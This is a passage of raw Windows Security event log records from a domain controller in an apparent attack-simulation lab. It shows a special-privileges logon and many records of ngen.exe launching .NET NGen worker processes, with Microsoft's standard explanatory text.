occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:04:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=254583 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x16C507 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:04:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254582 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x264 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 40c -InterruptEvent 0 -NGENProcess 648 -Pipe 4e8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254581 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x674 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 418 -InterruptEvent 0 -NGENProcess 5d4 -Pipe 298 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254580 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf78 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 5c0 -InterruptEvent 0 -NGENProcess 648 -Pipe 5cc -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254579 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9f0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 7e4 -InterruptEvent 0 -NGENProcess 780 -Pipe 35c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254591 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13a0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 358 -InterruptEvent 0 -NGENProcess 214 -Pipe 340 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254590 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x127c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 758 -InterruptEvent 0 -NGENProcess 30c -Pipe 43c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254589 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5b8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 7cc -InterruptEvent 0 -NGENProcess 214 -Pipe 40c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254588 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xab8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 43c -InterruptEvent 0 -NGENProcess 758 -Pipe 7e4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254587 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1224 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 30c -InterruptEvent 0 -NGENProcess 648 -Pipe 330 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254586 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x968 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 758 -InterruptEvent 0 -NGENProcess 418 -Pipe 6f0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254593 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xdd4 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 344 -InterruptEvent 0 -NGENProcess 214 -Pipe 320 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254592 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1238 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 57c -InterruptEvent 0 -NGENProcess 758 -Pipe 734 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254595 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x898 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 324 -InterruptEvent 0 -NGENProcess 564 -Pipe 358 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254594 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13b8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 650 -InterruptEvent 0 -NGENProcess 57c -Pipe 5c0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254598 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc9c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 408 -InterruptEvent 0 -NGENProcess 7b8 -Pipe 30c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254597 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12dc - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 304 -InterruptEvent 0 -NGENProcess 564 -Pipe 348 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254596 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1168 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 7b8 -InterruptEvent 0 -NGENProcess 650 -Pipe 368 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254603 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe4c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 514 -InterruptEvent 0 -NGENProcess 2dc -Pipe 32c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that 